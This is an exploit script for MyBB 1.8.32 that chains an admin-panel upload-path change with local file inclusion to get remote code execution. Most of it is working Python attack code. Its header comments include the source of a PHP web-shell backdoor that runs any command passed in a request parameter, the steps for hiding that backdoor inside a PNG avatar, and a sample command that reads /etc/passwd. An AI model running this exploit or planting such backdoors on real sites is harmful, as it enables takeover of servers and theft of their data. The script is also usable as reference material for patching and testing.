MyBB 1.8.32 - Remote Code Execution (Authenticated) Exploit

# Exploit Title: MyBB 1.8.32 - Chained LFI Remote Code Execution (RCE) (Authenticated)
# Exploit Author: lUc1f3r11 (https://github.com/FDlucifer)
# Vendor Homepage: https://mybb.com/
# Software Link: https://github.com/mybb/mybb/releases/tag/mybb_1832
# Version: MyBB 1.8.32
# Tested on: Linux
# CVE : N/A
# Detailed Analysis : https://fdlucifer.github.io/2023/01/17/mybb1-8-32-LFI-RCE/

# (1). An RCE can be obtained on MyBB's Admin CP in Configuration -> Profile Options -> Avatar Upload Path. to change Avatar Upload Path to /inc to bypass blacklist upload dir.
# (2). after doing that, then we are able to chain in "admin avatar upload" page: http://www.mybb1832.cn/admin/index.php?module=user-users&action=edit&uid=1#tab_avatar, and LFI in "Edit Language Variables" page: http://www.mybb1832.cn/admin/index.php?module=config-languages&action=edit&lang=english.
# (3). This chained bugs can lead to Authenticated RCE.
# (note). The user must have rights to add or update settings and update Avatar. This is tested on MyBB 1.8.32.
#
#
# Exp Usage:
# 1.first choose a png file that size less than 1kb
# 2.then merge the png file with a php simple backdoor file using the following commands
# mac@xxx-2 php-backdoor % cat simple-backdoor.php 
# <?php
# if(isset($_REQUEST['cmd'])){
#         echo "<getshell success>";
#         $cmd = ($_REQUEST['cmd']);
#         system($cmd);
#         echo "<getshell success>";
#         phpinfo();
# }
# ?>
# mac@xxx-2 php-backdoor % ls     
# simple-backdoor.php     test.png
# mac@xxx-2 php-backdoor % cat simple-backdoor.php >> test.png 
# mac@xxx-2 php-backdoor % file test.png 
# test.png: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
# 3.finnally run the following commands to run the exp script to get RCE output! enjoy the shell...
# python3 exp.py --host http://www.xxx.cn --username admin --password xxx --email [email protected] --file avatar_1.png --cmd "cat /etc/passwd"


import requests
import argparse
from bs4 import BeautifulSoup
from requests_toolbelt import MultipartEncoder
import re


r_clients = requests.Session()


def exploit(username, password, email, host, file, cmd):
    # Adding ./inc upload path settings to bypass avatar upload path blacklists

    data = {
        "username" : username,
        "password" : password,
        "do" : "login"
    }

    login_txt = r_clients.post(host + "/admin/index.php", data=data).text

    if "The username and password combination you entered is invalid" in login_txt:
        print("[-] Login failure. Incorrect credentials supplied")
        exit(0)

    print("[+] Login successful!")

    if "Access Denied" in login_txt:
        print("[-] Supplied user doesn't have the rights to add a setting")
        exit(0)

    print("[*] Adding ./inc upload path settings...")

    soup = BeautifulSoup(login_txt, "lxml")
    my_post_key = soup.find_all("input", {"name" : "my_post_key"})[0]['value']
    print("[+] my_post_key: ", my_post_key)
    print("[+] cookies: ", r_clients.cookies.get_dict())
    cookies = r_clients.cookies.get_dict()

    data = {
        "my_post_key" : my_post_key,
        "gid" : 10,
        "upsetting[sigmycode]" : 1,
        "upsetting[sigcountmycode]" : 1,
        "upsetting[sigsmilies]" : 1,
        "upsetting[sightml]" : 0,
        "upsetting[sigimgcode]" : 1,
        "upsetting[maxsigimages]" : 2,
        "upsetting[siglength]" : 255,
        "upsetting[hidesignatures]" : "",
        "upsetting[hidewebsite]" : "",
        "upsetting[useravatar]" : "./inc",
        "upsetting[useravatardims]" : "100x100",
        "upsetting[useravatarrating]" : 0,
        "upsetting[maxavatardims]" : "100x100",
        "upsetting[avatarsize]" : 25,
        "upsetting[avatarresizing]" : "auto",
        "upsetting[avataruploadpath]" : "./inc",
        "upsetting[allowremoteavatars]" : 1,
        "upsetting[customtitlemaxlength]" : 40,
        "upsetting[allowaway]" : 1,
        "upsetting[allowbuddyonly]" : 0
    }

    modify_settings_txt = r_clients.post(host + "/admin/index.php?module=config-settings&action=change",data=data,allow_redirects=False, cookies=cookies)

    if modify_settings_txt.status_code != 302:
        soup = BeautifulSoup(modify_settings_txt.text, "lxml")
        error_txt = soup.find_all("div", {"class" : "error"})[0].text
        print("[-] modify upload path failed. Reason: '{}'".format(error_txt))
        exit(0)

    print("[+] ./inc upload path settings added!")

    # upload malicious avatar in admin panel
    with open("test.png", "rb") as f:
        image_binary = f.read()
    print("[+] read image successful! ")

    print("[+] image contents: ", image_binary)

    filename = "test.png"

    data1 = {
        'my_post_key': my_post_key,
        'username': username,
        'email': email,
        'avatar_upload': (filename, open(filename, 'rb'), 'image/png')
    }

    m = MultipartEncoder(data1)

    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": m.content_type,
        "Origin": "null",
        "Connection": "close",
        "Upgrade-Insecure-Requests": "1"
    }

    upload_url = host + "/admin/index.php?module=user-users&action=edit&uid=1"

    upload = r_clients.post(upload_url, data=m, allow_redirects=False, headers=headers, cookies=cookies)

    if upload.status_code != 302:
        soup = BeautifulSoup(upload.text, "lxml")
        error_txt = soup.find_all("div", {"class" : "error"})[0].text
        print("[-] upload avatar didn't work. Reason: '{}'".format(error_txt))
        exit(0)

    print("[+] upload malicious avatar png success!")

    # commands exec and get the output, we are done finally :)
    data2 = {
        'my_post_key': my_post_key,
        'file': file,
        'lang': "english",
        'editwith': "..",
        'inadmin': 0
    }

    exec_url = host + "/admin/index.php?module=config-languages&action=edit&cmd=" + cmd

    commands_exec = r_clients.post(exec_url, data=data2, cookies=cookies)

    if commands_exec.status_code != 200:
        soup = BeautifulSoup(commands_exec.text, "lxml")
        error_txt = soup.find_all("div", {"class" : "error"})[0].text
        print("[-] command exec didn't work. Reason: '{}'".format(error_txt))
        exit(0)

    cmd_output = re.findall(r'<getshell success>(.*?)<getshell success>', commands_exec.text, re.S)

    print("[+] exec status: ", commands_exec.status_code)
    print("[+] command exec success:\n\n", cmd_output[0].replace("\n", "\n"))


parser = argparse.ArgumentParser()
parser.add_argument('--username', required=True, help="MyBB Admin CP username")
parser.add_argument('--password', required=True, help="MyBB Admin CP password")
parser.add_argument('--email', required=True, help="MyBB Admin CP admin's email (easy to find in admin users panal)")
parser.add_argument('--file', required=True, help="the image file name in the server that we uploaded before. (easy to find in admin users panal)")
parser.add_argument('--host', required=True, help="e.g. http://target.website.local, http://10.10.10.10, http://192.168.23.101:8000")
parser.add_argument('--cmd', required=False, help="Command to run")
args = parser.parse_args()

username = args.username
password = args.password
email = args.email
file = args.file
host = args.host
cmd = "id" if args.cmd == None else args.cmd

print("""_______________________________________\n
/ MyBB 1.8.32 - Chained LFI Remote Code \ \n
\ Execution (RCE) (Authenticated)       / \n
 --------------------------------------- \n
        \   ^__^ \n
         \  (oo)\_______ \n
            (__)\       )\/\ \n
                ||----w | \n
                ||     || \n
Author: lUc1f3r11
Github: https://github.com/FDlucifer""")
exploit(username, password, email, host, file, cmd)